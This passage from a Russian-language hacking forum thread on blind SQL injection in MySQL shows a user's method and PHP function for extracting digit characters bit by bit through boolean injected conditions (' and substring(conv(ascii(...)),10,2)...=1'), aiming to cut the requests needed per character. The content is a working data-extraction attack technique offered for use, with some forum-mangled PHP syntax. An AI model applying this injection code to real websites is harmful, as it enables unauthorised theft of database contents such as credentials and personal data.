8 56 111000
9 57 111001

================================
substring(conv(ascii(substring(...),5,1)),10,2)=1
$s[4] = 1; || $s[4] = 0;
$s[2] = 0; ||
================================
substring(conv(ascii(substring(...),4,1)),10,2)=1
$s[3] = 1; || $s[3] = 0;
$s[2] = 0; ||
================================
substring(conv(ascii(substring(...),6,1)),10,2)=1
$s[5] = 1; || $s[5] = 0;
================================
а этот запрос если нужен
substring(conv(ascii(substring(...),3,1)),10,2)=1
$s[2] = 1; || $s[2] = 0;
================================
Таким образом для 6 из 10 символов нужно всего 3 запроса, т.е. в среднем 3.4 запроса на символ.

Сделал функцию:

PHP код:
function grey_f3_digit($query$i) {

$sa = array();
for(
$j 6$j 3$j--) {
    if(
grey_f1(' and substring(conv(ascii(substring('.$query.','.$i.',1)),10,2),'.$j.',1)=1') == 1) {
        
$sa[$j-3] = 1;
    } else {
        
$sa[$j-3] = 0;
    }
}

if((
$sa[1] == 1) || ($sa[2] == 1)) {
    
$sa[0] = 0;
} else {
    if(
grey_f1(' and substring(conv(ascii(substring('.$query.','.$i.',1)),10,2),3,1)=1') == 1) {
        
$sa[0] = 1;
    } else {
        
$sa[0] = 0;
    }
}

$s = (int) '11'.$sa[0].$sa[1].$sa[2].$sa[3];
$s chr(base_convert($s,2,10));

return 
$s; } 
Конечно прирост не значительный, но лишнем не будет.

Последний раз редактировалось Grey; 09.07.2010 в 15:57..
Grey вне форума   Ответить с цитированием
Ответ

Метки
blind sql injection, injection, mysql

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot